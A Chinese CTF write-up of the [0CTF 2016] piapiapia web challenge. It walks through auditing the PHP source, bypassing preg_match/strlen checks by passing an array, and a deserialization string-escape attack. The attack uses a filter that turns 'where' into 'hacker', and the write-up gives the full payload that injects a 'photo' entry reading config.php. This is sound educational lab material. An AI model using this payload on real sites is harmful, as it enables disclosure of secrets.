目录:

  • 00000、知识点:
    • 1.url传入数组绕过长度限制??
    • 2.数组的遍历
    • 3.数组绕过正则
  • 一、自己做:
  • 二、学到的&&不足:
  • 四、学习WP
    • 1.学习一个大佬的思路:
    • 2.学习 另一个大佬的思路 ---这个过于跳跃,看上一个把,,
  • 五、思路学完了,自己做做看看。

首次写于:2021.2.22
补充于:2021.5.2

00000、知识点:

1.url传入数组绕过长度限制??

就是判断你输入字符串不能够太长的时候,
用数组可以进行绕过;

2.数组的遍历

两种遍历方法

foreach(array_expression as $value)

foreach(array_expression as $key => $value)

第一种格式便利,给定的 array_expression 数组。每次循环,当前单元的值被赋值给$value,并且数组内部的指针向前移动一步(因为下一次循环将会得到下一个单元)

第二种格式也是做相同的事情,只是除了当前单元的值赋给$value之外,键名也会在每次循环中被赋给变量$key。

<?php
$arr = array(1,2,3,4);
foreach ($arr as &$value){//地址传参$value = $value*2;
}
// array $arr now is (2,4,6,8)
unset($value);//销毁$value变量
<?php
$a = array("one"=>1,"two"=>2,"three"=>3,"five"=>5
);
foreach ($a as $k => $v){echo "\$a[$k]=>$v  ";
}
输出:$a[one]=>1  $a[two]=>2  $a[three]=>3  $a[five]=>5

3.数组绕过正则

  1. md5(Array()) = null
  2. sha1(Array()) = null
  3. ereg(pattern,Array()) =null
  4. preg_match(pattern,Array()) = false
  5. strcmp(Array(), “abc”) =null
  6. strpos(Array(),“abc”) = null
  7. strlen(Array()) = null

一、自己做:

源码都弄下来了,但是分析,代码审计技能点还没有点,,,
懵逼中,
我看到了读取文件什么的,也看到了serialize和unserialize和session。
猜测可能是序列化和反序列化,应该不是session的序列化, 因为session不可控。
然后又关于数据库的操作。但是在尝试的时候,不报错,sql注入不是了,

二、学到的&&不足:

  1. 看到config.php里面的内容了,

    我就没有反应过来flag再config.php中,,,,因为后面WP取flag就是取自config.php中的,我就愣是没反应过来,

  2. 数组会绕过preg_match()。使得他匹配为 false。 这里可以绕过。然后strlen一个数组,会返货 null.。也可以的。

  3. 反序列化的话,我发现我还可以。

  4. 还有思路问题:我们上传的时候,photo是:upload/3e602dd0ab83a3a8c3f32309bb9a88f9这种样式,我当时还在思考,为什么,我们插入的数据是:s:10:"config.php"。格式差别会这么大呢??这涉及到fie_get_contents()。一个是我们方才上传的文件,另一个是已经存在的文件config.php

  5. 而且,看config.php那个内容,要想到 flag就在那里,结合file_get_contents()。就要想到是读取文件,

  6. 为什么 只有 nickname可以注入呢????

    前面两个都是 否定判断, 只有这个是肯定判断,所以也就只能够绕过nickname了。

这了提醒我以后审计代码要 细心!!!!!!!。这个也太细了把,,,我当时做这个题的时候都没有注意到。。

  1. 要提高的能力:1. 本地复现能力!!!2. 代码调试,在浏览器端,**var_dump()**看输出3. 数据库 看 存储的信息。

四、学习WP

1.学习一个大佬的思路:

  1. 熟悉网站结构:
    class.php里有一些重要的函数
    update.php和profile.php中一个是上传文件,一个是获取文件,
    最重要的是config.php。我们看到flag在里面。

  2. 根据前端流程 查看可疑函数
    注册和登陆那块就不看了,主要的突破点是 上传资料显示资料 这里。

首先是update.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];//找到文件,判断文件大小if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {?>

有一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前两个不一样。这里判断了nickname是否为 字符, 还有长度是否超过10,
这里,如果我们 传入nickname为数组的话,就可以绕过长度限制,不会die出的

在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下

     move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));

我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法

 public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}

再看一下针对 $new_profile的函数filter()

 public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);//过滤\和\\的,替换成_$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}//将这些关键词替换成为hacker。要敏感,与serialize和unserialize相关的导致字符串长度变化的,public function __tostring() {return __class__;}
}

update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为’hacker’

再看看profile.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>

我们可以看到这里有反序列化还有文件读取,而且是同一个变量 $profile[‘photo’]
我们对这道题应该有了大致的思路了。
flag在config.php中,而且有序列化,过滤替换,反序列化,文件读取,这不就是CTF中反序列字符逃逸的常见套路吗。我们构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来

Over。

2.学习 另一个大佬的思路 —这个过于跳跃,看上一个把,,

都审计了一遍,他没有全部仔细看,但是全部看完了。说这里有问题。:
算了,思路炒大佬得了,学习思路。

可以在 config.php中看到flag。然后看到profile.php中又 file_get_contents()函数的时候,大佬尽然想到了会有序列化的事情,真是有题感了?

profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));

读取photo的内容。我们让 $profile[‘photo’]是 config.php就好了,这样就可以得到flag了。面的利用可以通过序列化和反序列化来。

五、思路学完了,自己做做看看。

     $profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));

这里是将一整个数组进行序列化呀,,有点麻烦那,
然后

 public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);

变量就变成了 new_profile 这个变量了。

 public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}

然后是将这个一整个序列化的字符串进行过滤,替换
问题是:
我怎么知道序列化之后的字符串的具体是什么样子的。我才能够进行换一换啊,这要在本地进行实验的。

然后进行unserialzie进行读取,进行 字符串逃逸 ,就在上一步,

 else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));

那么本地实现的话,就先按照他的这个循序来吧。
phone ,email,nickname,photo

我本来是在本地搭建的,可可是那个 上传文件 不行,其实总体上来说本地搭建是可以的。
但是直接在burp上也型。
可以先在本地上初步实验,然后再在burp上搞。

本地测试这里真的是精华呀,,,没啥别的意思,纪念一下。。
自己测试出来是真滴爽快啊

由于我多加了一个,所以要把我们添加的字符串放到 nickname这个变量后面,
其实也只有nickname可以用数组来绕过。然后 本来多加了,所以过滤后的字符数量要变多才行。
才能够把我们多加的数据给挤出来。所以要比hacker少

只有where少,所以用where。
这个是post提交的参数,我在本地嫌前面的挡害,就没提供参数,不影响的。

然后再看一看我们需要挤出来多少个字符?我这个nickname只输入了一个1。所以看的时候 从 1后面看,然后 两边的双引号是人家本来就带着的。也不看,

大概就是这样的。看灰色的那一块。

灰色的34个字符都是我们要挤出来的。这些是我们多余添加的

所以我们过滤之后要边长34个字符,所以用34个where,然后变成34个hacker
就能够ji出来了

最重要的那一块payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}


然后发包

会报错,应该的嘛,让你输入字符串,你都输入数组了,能不报错马????
然后进profile

base64编码了,看一下,解一下 米就有了

参考自:https://www.cnblogs.com/g0udan/p/12216207.html

---已搬运--:[0CTF 2016]piapiapia -----代码审计+字符串逃逸+数组绕过长度限制+以及一下小知识点 preg_match()用数组,而且注意if是正确判断,还是错误判断相关推荐

  1. [0CTF 2016]piapiapia(字符逃逸详解)

    目录 知识点 信息收集 尝试SQL注入 源码目录扫描 代码审计 payload生成 知识点 信息泄露 参数传递数组绕过字符串检测 反序列化字符逃逸 信息收集 收集到了一只超可爱的小喵 尝试SQL注入 ...

  2. BUCTF[0CTF 2016]piapiapia

    [0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...

  3. BUU [0CTF 2016]piapiapia

    BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...

  4. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  5. [0CTF 2016] piapiapia

    piapiapia 猜测:SQL注入.弱口令,顺便扫一下目录 SQL注入失败,弱口令和目录扫描没有测试(过快扫描网站,返回429),服务器还是挺好的,从网上得知/www.zip 测试过后,发现 ind ...

  6. [0CTF 2016]piapiapia php反序列化字符串逃逸

    一.php反序列化字符串逃逸 <?phpclass user{public $user = 'admin';public $pass = 'passwd'; }$a = new user(); ...

  7. 审计练习5——[0CTF 2016]piapiapia

    平台:buuoj.cn 打开靶机如下: 弱密码,sql乱试一波没反应,注册个账号进去之后让我们更新信息 提交跳转到profile.php 扫一下网站目录.(我们在做题扫目录的时候经常会遇见429的情况 ...

  8. [0CTF 2016]piapiapia -php序列化溢出

    题目分析 上来是一个登录页面:尝试注入无效: 然后扫后台:扫到源码www.zip 发现有注册页,注册登陆后可以填写自己的信息以及上传头像,走过一遍流程之后发现无法SSI也无法上传图片马: 源码分析 u ...

  9. [0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)

    这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了. 下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固. 一 ...

最新文章

  1. Glassfish3 asadmin 常用命令
  2. 回调函数和闭包的理解
  3. 第一章 TensorFlow基础——python语法(三)
  4. 基于FPGA多通道数据采集系统verilog设计
  5. 智能续航兼得的“超能代表”OPPO Watch 2系列正式发布
  6. SAP License:我对SAP项目实施是这样理解的
  7. oracle字段Varchar2长度问题
  8. 计算机信息安全专业代码0839,(0839)网络空间安全一级学科硕士研究生培养方案...
  9. 秀米图文排版UEditor插件示例
  10. 手把手教你注册和备案域名
  11. 微信app支付服务端开发记录
  12. 百词斩*****笔试题目
  13. vba访问服务器中txt文件,vba读取word内容 vba读取txt文件
  14. 关于Hex文件的解析和修改应用
  15. 使用laravel开发微信公众的一个大坑,适合新手学习的laravel接入微信接口
  16. 项目部署到Tomat报异常:jar not loaded. See Servlet Spec 2.3, section 9.7.2. Offending ...
  17. 中国互联网公司都要国际化,美图如何成为出海的另类?
  18. 记录关于标记工具LabelIMG生成txt文件时的相关问题
  19. linux下的socket通信
  20. 我爱我专业计算机为主题的演讲稿,2017年我爱我的专业演讲稿精选

热门文章

  1. mips指令与寄存器详解
  2. 什么是脚本,什么是脚本语言
  3. 字符串拆分出单个字符
  4. 来自一个弱小的大四毕业生的独白
  5. 模拟信号转PWM输出隔离转换器 输出驱动能力可达 5A
  6. 在线电子名片html,一款精致的HTML5电子名片
  7. 雅思 托福 GRE 的区别
  8. Android版本和API level
  9. python画图常见不同图片格式保存
  10. 前端的 position属性